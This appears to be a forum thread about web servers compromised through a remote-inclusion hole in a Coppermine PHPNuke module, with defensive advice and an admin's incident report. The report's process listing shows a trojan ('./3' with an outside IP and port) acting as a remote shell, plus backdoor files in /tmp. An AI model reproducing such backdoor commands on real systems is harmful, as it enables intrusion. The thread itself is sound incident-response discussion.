Can someone explain what is going on here ? Cause it doesn't make any sense. There seems to be some buggy PHP code being used on that site, which is allowing the remote inclusion of content from the mirabella.net site - this is being abused to run code upon your host. You should immediately disable the coppermine PHPNuke module and get it patched, upgraded, or replaced. Going to securityfocus.com and searching the mailing lists for coppermine pulls up multiple hits describing problems - for example this post: http://www.securityfocus.com/archive/1/361976 Notice the URLs on section E2? They match yours.. See this one for more details too: http://www.securityfocus.com/archive/1/361976 Two things you can do immediately to stop this particular exploit are run safe mode for PHP, and firewall off access to mirabella.net. What steps should I take now ? Remove PHP Nuke, check the logs for other activity, make sure your kernel is patched against local root via the recent wholes, and look at using a locked down PHP installation - I'm not sure how PHPNuke will work with that, but it's gotta be worth a try.

Advice needed, trying to find the vulnerable code on Debian webserver.
Hi all, One of our webservers seems to get compromised on a daily basis. When I do a ps ax I see these processes all the time. 18687 ?S 0:00 shell 18701 ?Z 0:00 [sh defunct] 18704 ?T 0:00 ./3 200.177.162.185 1524 18705 ?Z 0:00 [3 defunct] And if I check the /tmp dir there are strange executable files in there that are owned by www-data. Such as ./3 and others like ./bdshell. Definitely some sort of Trojan that's being run by www-data user. When I did a virus check first time it showed that it was infected with the old Linux.RST virus, it basically stuffed the entire /bin directory. I did a rebuild, virus checked all client files on a different server, then copied them back. After a week, same thing. Infected. /tmp/sl# ls -al total 452 drwxr-xr-x2 www-data www-data 4096 Jun 1 09:32 . drwxrwxrwt3 root root 4096 Jun 1 09:37 .. -rwsrwsrwt1 www-data www-data 446714 May 29 05:12 ps.htm I'm pretty sure it's one of our clients who has some dodgy php-nuke sites or something like that. All our other webservers are fine running the same build. But this server is the major client one where we allow them to FTP, CGI and make MYSQL changes. I'd appreciate some help on how to stop this from happening. Running Debian Stable with all the security updates. P.S.
